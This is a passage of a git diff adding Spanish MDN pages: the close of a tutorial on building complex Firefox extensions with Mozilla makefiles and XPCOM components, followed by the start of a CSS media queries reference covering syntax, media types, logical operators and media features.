+<p>Esto le dice a <code>make</code> que cree un único fichero de manifiesto llamado <code>chrome.manifest</code> en lugar de crear manifiestos separados con nombres tontos para cada paquete.</p>
+
+<p>Ahora ejecuta <code>make</code> de nuevo. Deberías ver un subdirectorio <code>chrome</code> en tu extensión (<code>/mozilla/$(MOZ_OBJDIR)/dist/bin/extensions/<a class="link-mailto" href="mailto:myextension@mycompany.com" rel="freelink">myextension@mycompany.com</a>/</code>). Observa que el directorio <code>chrome</code> contiene un fichero JAR (o sea, ZIP) con todos los ficheros chrome listados en <code>jar.mn</code> además de una estructura de directorio completa reflejo de la del fichero JAR. La estructura de directorio sin embargo está vacía. ¿Por qué? No lo sé. No te preocupes por esto, los ficheros en el JAR son los que realmente se usan.</p>
+
+<h4 id="Manteni.C3.A9ndolo_complejo" name="Manteni.C3.A9ndolo_complejo">Manteniéndolo complejo</h4>
+
+<p>Si estás desarrollando extensiones realmente complejas con un montón de componentes <a href="/es/XPCOM" title="es/XPCOM">XPCOM</a>, probablemente desees dividir tu código en módulos más pequeños.</p>
+
+<h5 id="Extensiones_moderadamente_complejas" name="Extensiones_moderadamente_complejas">Extensiones moderadamente complejas</h5>
+
+<p>Para una extensión moderadamente compleja, probablemente bastará con dividir el código en módulos de un solo nivel. Supongamos que tienes un módulo <code>base/</code> que define un manojo de componentes XPCOM básicos y un módulo <code>advanced/</code> que define algunos componentes chrome así como otros componentes que usan a los básicos. La estructura del directorio debería lucir más o menos así:</p>
+
+<ul>
+ <li>myextension
+  <ul>
+   <li>base
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>advanced
+    <ul>
+     <li>content</li>
+     <li>locale
+      <ul>
+       <li>en-US</li>
+       <li>...other locales...</li>
+      </ul>
+     </li>
+     <li>public</li>
+     <li>skin
+      <ul>
+       <li>classic</li>
+       <li>...other skins...</li>
+      </ul>
+     </li>
+     <li>src</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Más allá de eso, nada cambia. Los makefiles en los directorios <code>base/</code> y <code>advanced/</code> deberían tener más o menos el mismo aspecto que el makefile original del directorio raíz, sin olvidar cambiar la variable <strong>DEPTH</strong> para reflejar el hecho de que se han movido a un nivel más de profundidad respecto de la raíz de mozilla. También debes quitar la variable <strong>DIST_FILES</strong> porque va a estar en el makefile de nivel superior. Cada makefile que genere algo debería definir la variable <strong>XPI_NAME</strong> para asegurarse que los archivos generados van dentro de tu extensión y no dentro del directorio global <code>components/</code>. Define esto en cada makefile para asegurarte. Puedes usar el mismo <strong>MODULE</strong> para ambos casos, <code>base/</code> y <code>advanced/</code>, y así todos los archivos include generados irán al mismo directorio, pero asegúrate de no usar el mismo <strong>XPIDL_MODULE</strong> en los dos directorios <code>public/</code> o una de las bibliotecas de componentes (es decir, archivos XPT) sobrescribirá al otro y todo se echará a perder.</p>
+
+<p>Cada módulo debe tener también un valor diferente para la variable <strong>LIBRARY_NAME</strong>. Éste es el nombre de la biblioteca dinámica generada, así que si llamamos a las bibliotecas "myBase" y "myAdvance" entonces tendremos los archivos <code>myBase.dll</code> y <code>myAdvance.dll</code> (por lo menos así es en Windows). Y cada uno de estos módulos va a tener un archivo C++ separado para registrar componentes, así que va a haber dos archivos que lucirán como <code>myExtension.cpp</code> en el ejemplo original, digamos Base.cpp y Advanced.cpp. Por último, cada módulo tendrá, obviamente, su propio jar.mn, aunque pueden referenciar al mismo nombre de archivo JAR y nombre de paquete si quieres que todos los archivos chrome estén organizados en un mismo paquete y archivo JAR. El único que realmente permanece es install.rdf, que existe una vez y sólo una vez en el directorio raíz de la extensión.</p>
+
+<p>En cuanto al makefile de nivel superior, ahora tendrá este aspecto:</p>
+
+<pre>DEPTH		= ../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+
+DIRS		= base advanced
+
+XPI_NAME               = myextension
+INSTALL_EXTENSION_ID   = myextension@mycompany.com
+XPI_PKGNAME		= myextension
+
+DIST_FILES = install.rdf
+
+include $(topsrcdir)/config/rules.mk
+</pre>
+
+<h5 id="Extensiones_realmente_complejas" name="Extensiones_realmente_complejas">Extensiones realmente complejas</h5>
+
+<p>En algún momento, hasta un solo módulo puede crecer hasta un punto en que desees dividirlo en submódulos. La diferencia entre tener módulos diferentes y tener un módulo dividido en submódulos es que todos los submódulos comparten el mismo archivo para registrar componentes (el famoso archivo myExtension.cpp) y cuando lo compilas genera una sola biblioteca dinámica. La decisión para dividir un módulo en submódulos es sólo cuestión de organización del código, no afecta al producto final.</p>
+
+<p>Para dividir un módulo en submódulos primero debes crear un directorio para cada submódulo. Luego debes crear un directorio adicional llamado <code>build/</code>. Cada submódulo será configurado para crear una biblioteca estática y el directorio <code>build/</code> las unirá para crear una sola biblioteca dinámica. ¿Confundido? Aquí hay un ejemplo mostrando la subrama <code>advanced/</code> del directorio <code>myextension/</code>:</p>
+
+<ul>
+ <li>advanced
+  <ul>
+   <li>build</li>
+   <li>intricate
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>multifarious
+    <ul>
+     <li>public</li>
+     <li>src</li>
+    </ul>
+   </li>
+   <li>content</li>
+   <li>locale
+    <ul>
+     <li>en-US</li>
+     <li>...otros idiomas...</li>
+    </ul>
+   </li>
+   <li>skin
+    <ul>
+     <li>classic</li>
+     <li>...otros skins...</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<p>Como puedes ver, hemos dividido <code>advanced/</code> dentro de dos submódulos: <code>intrincate/</code> y <code>multifarious/</code> y hemos añadido un directorio <code>build/</code> adicional. Hemos dejado los directorios chrome directamente bajo <code>advanced/</code>, los cuales no están enlazados a ningún submódulo específico. Esto significa que jar.mn estará en el mismo lugar.</p>
+
+<p>Los makefiles <code>intricate/</code> y <code>multifarious/</code> lucirán casi igual al makefile original <code>advanced/</code>, pero necesitamos modificarlos un poquito. Como siempre, debemos ajustar la variable <strong>DEPTH</strong> porque el makefile está más profundo en la estructura de directorios. Y deberíamos cambiar <strong>LIBRARY_NAME</strong> para indicar que estamos generando una biblioteca estática para cada submódulo. Por convenio, se usa el sufijo "_s" para este propósito. Así que las llamaremos "myIntricate_s" y "myMultifarious_s". Finalmente definimos la variable <strong>FORCE_STATIC_LIB</strong> para que quede un makefile que comience más o menos así:</p>
+
+<pre>DEPTH		= ../../../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+MODULE = myextension
+LIBRARY_NAME = myIntricate_s
+FORCE_STATIC_LIB = 1
+
+XPI_NAME = myextension
+
+...más cosas aquí...
+</pre>
+
+<p>El makefile build une las bibliotecas estáticas generadas por los submódulos y crea una única biblioteca dinámica de componentes:</p>
+
+<pre>DEPTH		= ../../../..
+topsrcdir	= @top_srcdir@
+srcdir		= @srcdir@
+VPATH		= @srcdir@
+
+include $(DEPTH)/config/autoconf.mk
+
+IS_COMPONENT = 1
+MODULE = myextension
+LIBRARY_NAME = myAdvanced
+
+XPI_NAME = myextension
+
+DEFINES += XPCOM_GLUE
+
+SHARED_LIBRARY_LIBS = \
+		$(DIST)/lib/$(LIB_PREFIX)myIntricate_s.$(LIB_SUFFIX) \
+		$(DIST)/lib/$(LIB_PREFIX)myMultifarious_s.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)xpcomglue_s.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)xpcom.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)nspr4.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)plds4.$(LIB_SUFFIX) \
+                $(DIST)/lib/$(LIB_PREFIX)plc4.$(LIB_SUFFIX) \
+		$(NULL)
+
+REQUIRES	= \
+		xpcom \
+		string \
+		$(NULL)
+
+CPPSRCS		= \
+		Advanced.cpp \
+		$(NULL)
+
+include $(topsrcdir)/config/rules.mk
+
+LOCAL_INCLUDES += \
+        -I$(srcdir)/../intricate/src \
+        -I$(srcdir)/../multifarious/src \
+        $(NULL)
+</pre>
+
+<p>El makefile en el directorio <code>advanced/</code> debería listar los directorios <code>intricate/</code>, <code>multifarious/</code> y <code>build/</code> en su variable <strong>DIRS</strong>. Asegúrate de que <code>build/</code> esté al final porque no puede crear la biblioteca hasta que los otros makefiles hayan sido completados.</p>
+
+<h3 id="Otros_temas" name="Otros_temas">Otros temas</h3>
+
+<h4 id="Agregar_archivos_de_datos_a_tus_extensiones" name="Agregar_archivos_de_datos_a_tus_extensiones">Agregar archivos de datos a tus extensiones</h4>
+
+<p>En algunos casos, puedes desear incluir archivos adicionales en tus extensiones que no pertenecen al subdirectorio <code>chrome/</code>. Algunos ejemplos pueden ser archivos de bases de datos o esquemas XML. Esto puede conseguirse añadiendo, en el makefile, código personalizado que copie los ficheros desde el árbol de origen hacia el directorio de destino de la extensión.</p>
+
+<h5 id="Copiar_archivos_de_datos_al_directorio_de_destino" name="Copiar_archivos_de_datos_al_directorio_de_destino">Copiar archivos de datos al directorio de destino</h5>
+
+<p>Supongamos que tienes algunos ficheros de datos que contienen información estadística que deseas incluir en tu extensión y que esté disponible para tus componentes. Tienes estos archivos, cuya extensión es .TXT, dentro del subdirectorio <code>stats/</code> bajo el directorio de tu extensión en el árbol del código fuente. Puedes usar el siguiente makefile para copiar los ficheros al directorio de destino de la extensión:</p>
+
+<pre>libs::
+	if test ! -d $(FINAL_TARGET)/stats; then \
+		$(NSINSTALL) -D $(FINAL_TARGET)/stats; \
+	fi
+	$(INSTALL) $(srcdir)/*.txt $(FINAL_TARGET)/stats
+</pre>
+
+<h5 id="Acceder_a_ficheros_de_datos_desde_los_componentes" name="Acceder_a_ficheros_de_datos_desde_los_componentes">Acceder a ficheros de datos desde los componentes</h5>
+
+<p>El truco para acceder a los ficheros es averiguar dónde está el directorio <em>home</em> de tu extensión. Los rumores dicen que en el futuro esto será posible a través del interface <a href="/es/NsExtensionManager" title="es/NsExtensionManager">nsExtensionManager</a> o alguna cosa similar. Mientras tanto, hay un modo simple y fiable de hacer esto. En la implementación de cualquier componente JavaScript XPCOM hay un símbolo especial <strong>__LOCATION__</strong> (dos subrayados delante y dos detrás) que apunta al fichero de implementación del componente. Así, puedes escribir un componente simple que deduzca el directorio raíz de tu extensión extrapolando desde su ubicación.</p>
+
+<p><a class="external" href="http://www.builderau.com.au/program/soa/Creating_XPCOM_components_with_JavaScript/0,39024614,39206503,00.htm">Este artículo</a> explica cómo crear un componente XPCOM en JavaScript. Necesitarás un fichero IDL para un interfaz que tenga un aspecto más o menos así:</p>
+
+<pre>interface myILocation : nsISupports
+{
+    readonly attribute nsIFile locationFile;
+};
+</pre>
+
+<p>Sitúa el fichero IDL en el directorio <code>public/</code> del proyecto o subproyecto. En el directorio <code>src/</code> coloca el fichero JavaScript que implementa el componente. La implementación del componente incluirá los métodos para solicitar la ruta o el fichero para el directorio <em>home</em> de la extensión.</p>
+
+<pre>myLocation.prototype =
+{
+  QueryInterface: function(iid)
+  {
+    if (iid.equals(nsISupports))
+      return this;
+    if (iid.equals(myILocation))
+      return this;
+
+    Components.returnCode = Components.results.NS_ERROR_NO_INTERFACE;
+    return null;
+  },
+
+  get locationFile()
+  {
+     return __LOCATION__.parent.parent;
+  }
+}
+</pre>
+
+<p>Esto asume que el componente se encuentra en un subdirectorio del directorio de la extensión (por convenio, este directorio se llama <code>components/</code>). La propiedad <code>parent</code> de <strong>__LOCATION__</strong> devuelve <code>components/</code>, y el valor <code>parent</code> de éste es el directorio de la extensión.</p>
+
+<p>El último paso es modificar el makefile del directorio de orìgen donde colocaste el fichero JavaScript para que sea copiado dentro de la ubicación apropiada en la extensión.</p>
+
+<pre>libs::
+	$(INSTALL) $(srcdir)/*.js $(FINAL_TARGET)/components
+</pre>
+
+<p>Ahora puedes instanciar este componente y usar la propiedad <code>locationFile</code> para obtener un interface <code><a href="/es/NsIFile" title="es/NsIFile">nsIFile</a></code> que apunte al directorio <em>home</em> de tu extensión.</p>
+
+<h4 id="Usar_otras_bibliotecas" name="Usar_otras_bibliotecas">Usar otras bibliotecas</h4>
+
+<p>Para extensiones más sofisticadas, tal vez desees integrar bibliotecas de terceros que proveerán funciones especializadas para conectividad de bases de datos, procesamiento de imágenes, funciones de red y otras tareas. Si quieres que tu extensión se ejecute en todas las plataformas de FireFox, necesitarás el código fuente de la biblioteca en cuestión, así que asumiré que está disponible.</p>
+
+<p>La mejor forma de hacerlo, desde el punto de vista del ciclo de desarrollo, es crear un makefile estilo-Mozilla para la biblioteca. Esto funciona bien para bibliotecas que tienen un proceso de compilación sencillo sin demasiada configuración. Un buen ejemplo de esto es la biblioteca SQLite incluida en el árbol de compilación de Mozilla en <code>db/sqlite</code>. Adaptando el makefile de esta manera, la biblioteca se crea como una parte estándar del proceso de compilado de Mozilla, lo cual elimina pasos adicionales. El lado malo es que necesitarás actualizar el makefile modificado cada vez que se publique una nueva versión de la biblioteca.</p>
+
+<p>Para bibliotecas que tienen un proceso de configuración complejo, que use un compilador no-estándar, o que tengan alguna otra característica especial, quizá no sea viable crear un makefile compatible con el estilo Mozilla. En este caso, recomendaría colocar la distribución completa de la biblioteca dentro del proyecto o subproyecto que la utiliza. Por ejemplo, si la biblioteca <code>acmelib</code> se usa dentro del subproyecto <code>multifarious/</code> en el ejemplo de arriba, se colocaría como un subdirectorio bajo ese proyecto (en el mismo nivel que <code>public/</code> y <code>src/</code>).</p>
+
+<p>Por supuesto, esto significa que tendrás que compilar <code>acmelib</code> manualmente en cada plataforma antes de lanzar Mozilla. Pero por lo menos luego puedes referirte a los archivos include y las bibliotecas importadas desde tus componentes usando rutas relativas.</p>
+
+<h4 id="Compilar_para_m.C3.BAltiples_plataformas" name="Compilar_para_m.C3.BAltiples_plataformas">Compilar para múltiples plataformas</h4>
+
+<p>Información del Documento Original</p>
+
+<div class="originaldocinfo">
+<ul>
+ <li>Autor: Matthew Gertner - Julio 26, 2005.</li>
+ <li>Permission granted to migrate in Jan 2006, including permission to relicense under the CC:By-SA.</li>
+ <li>Código Original: <a class="external" href="http://www.allpeers.com/blog/creating-complex-firefox-extensions/" rel="freelink">http://www.allpeers.com/blog/creatin...ox-extensions/</a></li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/css/media_queries/index.html b/files/es/css/media_queries/index.html
new file mode 100644
index 0000000000..997626e12d
--- /dev/null
+++ b/files/es/css/media_queries/index.html
@@ -0,0 +1,828 @@
+---
+title: CSS media queries
+slug: CSS/Media_queries
+tags:
+  - CSS
+  - Media
+  - Media Queries
+  - query
+translation_of: Web/CSS/Media_Queries/Using_media_queries
+---
+<div>{{cssref}}</div>
+
+<p class="seoSummary">Las <strong>media queries</strong> (en español "consultas de medios") son útiles cuando deseas modificar tu página web o aplicación en función del tipo de dispositivo (como una impresora o una pantalla) o de características y parámetros específicos (como la resolución de la pantalla o el ancho del {{glossary("viewport")}} del navegador).</p>
+
+<p>Se utilizan para:</p>
+
+<ul>
+ <li>Aplicar estilos condicionales con las <a href="/es/docs/Web/CSS/At-rule">reglas-at</a> {{cssxref("@media")}} e {{cssxref("@import")}} de <a href="/es/docs/Web/CSS">CSS</a>.</li>
+ <li>Indicar medios específicos en los elementos {{HTMLElement("link")}}, {{HTMLElement("source")}} y otros elementos <a href="/es/docs/Web/HTML">HTML</a>.</li>
+ <li><a href="/es/docs/Web/Guide/CSS/probando_media_queries">Testear y monitorizar los estados de los medios</a> usando los métodos de javascript {{domxref("Window.matchMedia()")}} y {{domxref("MediaQueryList.addListener()")}}.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p> </p>
+
+<p>Las <em>media queries</em> consisten de un tipo de medio opcional y una o más expresiones de <em>características de medios</em>. Varias consultas se pueden combinar utilizando operadores lógicos. No distinguen entre mayúsculas y minúsculas.</p>
+
+<p>El resultado de la consulta es "verdadero" cuando el tipo de medio (si se especifica) coincide con el dispositivo en el que se está mostrando el documento y todas las expresiones en el <em>media query</em> son "verdaderas". En este caso, se aplica los estilos correspondientes, siguiendo las reglas usuales de cascada.</p>
+
+<p>Las consultas sobre tipos de medios desconocidos son siempre falsas.</p>
+
+<p> </p>
+
+<pre class="brush: html"><code class="brush: html">&lt;!-- CSS media query on a link element --&gt;
+</code>&lt;link rel="stylesheet" media="(max-width: 800px)" href="example.css" /&gt;
+
+<code class="brush: html">&lt;!-- CSS media query within a style sheet --&gt;
+&lt;style&gt;
+@media (max-width: 600px) {
+  .facet_sidebar {
+    display: none;
+  }
+}
+&lt;/style&gt;</code>
+</pre>
+
+<h3 id="Media_Types">Media Types</h3>
+
+<p>Los <em>Media Types</em> (tipos de medios) describen la categoría general de un dispositivo. Excepto cuando se utilizan los operadores lógicos <code>not</code> o <code>only</code>, el tipo de medio es opcional y será interpretada como <code>all</code>.</p>
+
+<dl>
+ <dt><code id="all">all</code></dt>
+ <dd>Apto para todos los dispositivos.</dd>
+ <dt><code id="print">print</code></dt>
+ <dd>Destinado a material impreso y visualización de documentos en una pantalla en el modo de vista previa de impresión. </dd>
+ <dt><code id="screen">screen</code></dt>
+ <dd>Destinado principalmente a las pantallas.</dd>
+ <dt><code id="speech">speech</code></dt>
+ <dd>Destinado a sintetizadores de voz.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Tipos de medios depreciados:</strong> CSS2.1 y <a href="/es/docs/">Media Queries 3</a> definieron varios tipos de medios adicionales (<code>tty</code>, <code>tv</code>, <code>projection</code>, <code>handheld</code>, <code>braille</code>, <code>embossed</code> y <code>aural</code>), pero fueron desaprobados en <a href="https://drafts.csswg.org/mediaqueries/#media-types">Media Queries 4</a> y no deberían ser usados. El tipo <code>aural</code> ha sido reemplazado por <code>speech</code>, que es similar.</p>
+</div>
+
+<h3 id="Operadores_Lógicos">Operadores Lógicos</h3>
+
+<p>Se pueden redactar queries utilizando operadores lógicos, incluyendo <code>not</code>, <code>and</code>, y <code>only</code>.</p>
+
+<p>Además se puede combinar múltiples queries en una lista separada por comas múltiples; si cualquiera de las queries en la lista es verdadera, la hoja de estilo asociada es aplicada. Esto es equivalente a una operación lógica "or".</p>
+
+<h4 id="and">and</h4>
+
+<p>El operador <code>and</code> es usado para colocar juntas múltiples funciones multimedia. Un query básico con el tipo de medio especificado como <code>all</code> puede lucir así:</p>
+
+<pre class="brush: css">@media (min-width: 700px) { ... }</pre>
+
+<p>Si usted quiere aplicar ese query solo si la pantalla esta en formato horizontal, usted puede utilizar el operador <code>and</code> y colocar la siguiente cadena:</p>
+
+<pre class="brush: css">@media (min-width: 700px) and (orientation: landscape) { ... }</pre>
+
+<p>La siguiente query solo retornara verdadero si la ventana tiene un ancho de 700px o mas y la pantalla esta en formato horizontal. Ahora si usted quiere aplicar esta opción solo si tipo de medio es TV, usted puede utilizar la siguiente cadena:</p>
+
+<pre class="brush: css">@media tv and (min-width: 700px) and (orientation: landscape) { ... }</pre>
+
+<p>Esta query solo se aplica si el tipo de medio es TV, la ventana tiene 700px de ancho o mas y la pantalla esta en formato horizontal.</p>
+
+<h4 id="lista_separada_por_comas">lista separada por comas</h4>
+
+<p>Las listas separadas por comas se comportan como el operador <code>or</code> cuando es usado en media queries. Cuando utilice una lista separada por comas y alguno de los queries retorna verdadero, el estilo o la hoja de estilos sera aplicada. Cada query en una lista separada por comas es tratado como una query individual y cualquier operador aplicado a un medio no afectara a los demás. Esto significa que cada query en una lista separada por comas puede tener como objetivo diferentes medios, tipos y estados.</p>
+
+<p>Si usted quiere aplicar una serie de estilos para un equipo con un ancho mínimo de 700px o si el dispositivo esta colocado en horizontal, usted puede escribir lo siguiente:</p>
+
+<pre class="brush: css">@media (min-width: 700px), handheld and (orientation: landscape) { ... }</pre>
+
+<p>Por lo tanto, si esta en una <code>screen</code> con una ventana de 800px de ancho, la declaración del medio retornara verdadero debido a la primera parte de la lista, si aplicamos esto a un dispositivo <code>@media all and (min-width: 700px)</code> podría retornar verdadero a pesar del hecho de que la pantalla falle la verificación tipo de medio del <code>handheld</code> en la segunda query. Por otra parte si estuviese en un <code>handheld</code> con un ancho de ventana de 500px, la primera parte de la lista fallaría pero la segunda parte retornara verdadero debido a la declaración de medio.</p>
+
+<h4 id="not">not</h4>
+
+<p>El operador <code>not</code> aplica a todo el query y retorna verdadero si es posible y sino retorna falso (como por ejemplo <code>monochrome</code> en un monitor a color o una ventana con un ancho mínimo de <code>min-width: 700px</code> en un monitor de 600px). Un <code>not</code> negara un query si es posible pero no a todos los query posibles si están ubicados en una lista separada por comas. El operador <code>not</code> no puede ser usado para negar un query individual, solo para un query completo. Por ejemplo<span style="line-height: 1.572;">, el </span><code style="font-size: 14px;">not</code><span style="line-height: 1.572;"> en el siguiente query es evaluado al final:</span></p>
+
+<pre class="brush: css" style="font-size: 14px;">@media not all and (monochrome) { ... }
+</pre>
+
+<p>Esto significa que el query es evaluado de la siguiente forma:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media not (all and (monochrome)) { ... }
+</pre>
+
+<p>... y no de esta forma:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media (not all) and (monochrome) { ... }</pre>
+
+<p>Otro Ejemplo:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media not screen and (color), print and (color)
+</pre>
+
+<p>Es evaluado de la siguiente forma:</p>
+
+<pre class="brush: css" style="font-size: 14px;">@media (not (screen and (color))), print and (color)</pre>
+
+<h4 id="only">only</h4>
+
+<p><span style="line-height: 21px;">El operador </span><code style="font-size: 14px;">only</code><span style="line-height: 21px;"> previene que navegadores antiguos que no soportan queries con funciones apliquen los estilos asignados:</span></p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="only screen and (color)" href="Ejemplo.css" /&gt;
+</pre>
+
+<h3 id="Pseudo-BNF">Pseudo-BNF</h3>
+
+<pre class="syntaxbox">media_query_list: &lt;media_query&gt; [, &lt;media_query&gt; ]*
+media_query: [[only | not]? &lt;media_type&gt; [ and &lt;expression&gt; ]*]
+  | &lt;expression&gt; [ and &lt;expression&gt; ]*
+expression: ( &lt;media_feature&gt; [: &lt;value&gt;]? )
+media_type: all | aural | braille | handheld | print |
+  projection | screen | tty | tv | embossed
+media_feature: width | min-width | max-width
+  | height | min-height | max-height
+  | device-width | min-device-width | max-device-width
+  | device-height | min-device-height | max-device-height
+  | aspect-ratio | min-aspect-ratio | max-aspect-ratio
+  | device-aspect-ratio | min-device-aspect-ratio | max-device-aspect-ratio
+  | color | min-color | max-color
+  | color-index | min-color-index | max-color-index
+  | monochrome | min-monochrome | max-monochrome
+  | resolution | min-resolution | max-resolution
+  | scan | grid</pre>
+
+<p>Los queries son insensibles a las mayúsculas o minúsculas. Media queries que contengan tipos de medios desconocidos siempre retornaran falso.</p>
+
+<div class="note"><strong>Nota:</strong> Los paréntesis son requeridos alrededor de las expresiones, no utilizarlos es un error.</div>
+
+<h2 id="Funciones_Multimedia">Funciones Multimedia</h2>
+
+<p>La mayoría de las funciones multimedia pueden ser precedidas por "min-" o "max-" para expresar "greater or equal to" o "less than or equal to". Esto elimina la necesidad de usar los símbolos "&lt;" y "&gt;" los cuales podrían causar conflictos con HTML y XML. Si usted usa una función multimedia sin especificarle un valor, la expresión retornara verdadero si el valor es diferente de cero.</p>
+
+<div class="note"><strong>Nota:</strong> Si una función multimedia no aplica al dispositivo donde el navegador esta corriendo, la expresión que contiene esa función siempre retornara falso. Por Ejemplo, cambiar la relación de aspecto en un dispositivo aural siempre resultara falso.</div>
+
+<h3 id="color">color</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;color&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max:</strong> si</p>
+
+<p>Indica el numero de bits por componente de color del dispositivo de salida. Si el dispositivo no soporta colores, este valor es 0.</p>
+
+<div class="note"><strong>Nota:</strong> Si el componente de color tiene diferente numero de bits por color, entonces el valor mas pequeño es utilizado. Por Ejemplo, si una pantalla utiliza 5 bits para azul y rojo y 6 bits para el verde, entonces se utilizan 5 bits por componente de color. Si el dispositivo utiliza índices de color se usara el mínimo valor de bits por color en la tabla.</div>
+
+<h4 id="Ejemplos">Ejemplos</h4>
+
+<p>Para aplicar una hoja de estilo a todos los dispositivos que soporten colores:</p>
+
+<pre class="brush: css">@media all and (color) { ... }
+</pre>
+
+<p>Para aplicar una hoja de estilo a dispositivos con al menos 4 bits por componente de color:</p>
+
+<pre class="brush: css">@media all and (min-color: 4) { ... }
+</pre>
+
+<h3 id="color-index">color-index</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}<br>
+ <strong>Acepta prefijos min/max</strong><strong>:</strong> sí</p>
+
+<p>Indica el numero de entradas en la tabla de colores para el dispositivo de salida.</p>
+
+<h4 id="Ejemplos_2">Ejemplos</h4>
+
+<p>Para indicar que una hoja de estilo debe aplicarse a todos los dispositivos utilizando índices de color, usted puede hacer esto:</p>
+
+<pre class="brush: css">@media all and (color-index) { ... }
+</pre>
+
+<p>Para aplicar una hoja de estilo a un dispositivo con un índice de al menos 256 colores:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="all and (min-color-index: 256)" href="http://foo.bar.com/stylesheet.css" /&gt;
+</pre>
+
+<h3 id="aspect-ratio">aspect-ratio</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;ratio&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max</strong><strong>:</strong> sí</p>
+
+<p>Describe el aspecto de una zona a mostrar en el dispositivo de salida. Este valor consiste en enteros positivos separados por una barra ("/"). Esto representa la razón de aspecto de los pixeles horizontales (primer termino) a los pixeles verticales (segundo termino).</p>
+
+<h4 id="Ejemplo">Ejemplo</h4>
+
+<p>Lo siguiente selecciona una hoja de estilo especial para ser aplicada donde la proporción del tamaño de la pantalla del dispositivo de salida es al menos la misma de ancho que de alto.</p>
+
+<pre class="brush: css">@media screen and (min-aspect-ratio: 1/1) { ... }</pre>
+
+<p>Este selecciona el estilo cuando la proporción de aspecto sea 1:1 o superior. En otras palabras este estilo solo sera aplicado cuando el área de visualización sea cuadrada u horizontal.</p>
+
+<h3 id="device-aspect-ratio">device-aspect-ratio</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;ratio&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Describe la proporción de aspecto del dispositivo de salida. Este valor consiste de dos enteros positivos separados por una barra ("/"). Este representa la proporción de aspecto de los pixeles horizontales (primer termino) a los pixeles verticales (segundo termino).</p>
+
+<h4 id="Ejemplo_2">Ejemplo</h4>
+
+<p>El siguiente código selecciona una hoja de estilo especial para ser aplicada en pantallas panorámicas ("widescreen").</p>
+
+<pre class="brush: css">@media screen and (device-aspect-ratio: 16/9), screen and (device-aspect-ratio: 16/10) { ... }</pre>
+
+<p>Este selecciona el estilo cuando la proporción de aspecto sea 16:9 o 16:10.</p>
+
+<h3 id="device-height">device-height</h3>
+
+<p><strong>Valor</strong><strong>:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Describe la altura del dispositivo de salida (ya sea la totalidad de la pantalla o página y no el área del documento a renderizar).</p>
+
+<h3 id="device-width">device-width</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> {{cssxref("Media/Visual")}}, {{cssxref("Media/Tactile")}}<br>
+ <strong>Acepta prefijos min/max:</strong> sí</p>
+
+<p>Describe la anchura del dispositivo de salida (ya sea la totalidad de la pantalla o página y no el área del documento a renderizar).</p>
+
+<h4 id="Ejemplo_3">Ejemplo</h4>
+
+<p>Para aplicar una hoja de estilo a un documento cuando este sea mostrado en una pantalla de menos de 800px de ancho, usted puede usar esto:</p>
+
+<pre class="brush: html">&lt;link rel="stylesheet" media="screen and (max-device-width: 799px)" /&gt;
+</pre>
+
+<h3 id="grid">grid</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;integer&gt;")}}<br>
+ <strong style="font-weight: bold;">Medio</strong><strong>:</strong> all<br>
+ <strong>Acepta prefijos min/max:</strong> no</p>
+
+<p>Determina cuando el dispositivo de salida es un dispositivo de cuadrícula o de mapa de bits. Si el dispositivo esta basado en una cuadrícula (como una terminal TTY o una pantalla de teléfono de solo texto), el valor sera 1, de lo contrario sera 0.</p>
+
+<h4 id="Ejemplo_4">Ejemplo</h4>
+
+<p>Para aplicar una hoja de estilo a un dispositivo portátil con una pantalla de 15 caracteres o mas estrecha:</p>
+
+<pre class="brush: css">@media handheld and (grid) and (max-width: 15em) { ... }
+</pre>
+
+<div class="note"><strong>Nota:</strong> La unidad "em" tiene un significado especial para los dispositivos de cuadrícula; ya que la anchura exacta de una "em" no puede ser determinada, se asume un "em" como el ancho de una celda en la cuadrícula y el alto de una celda en la cuadrícula.</div>
+
+<h3 id="height">height</h3>
+
+<p><strong>Valor:</strong> {{cssxref("&lt;length&gt;")}}<br>
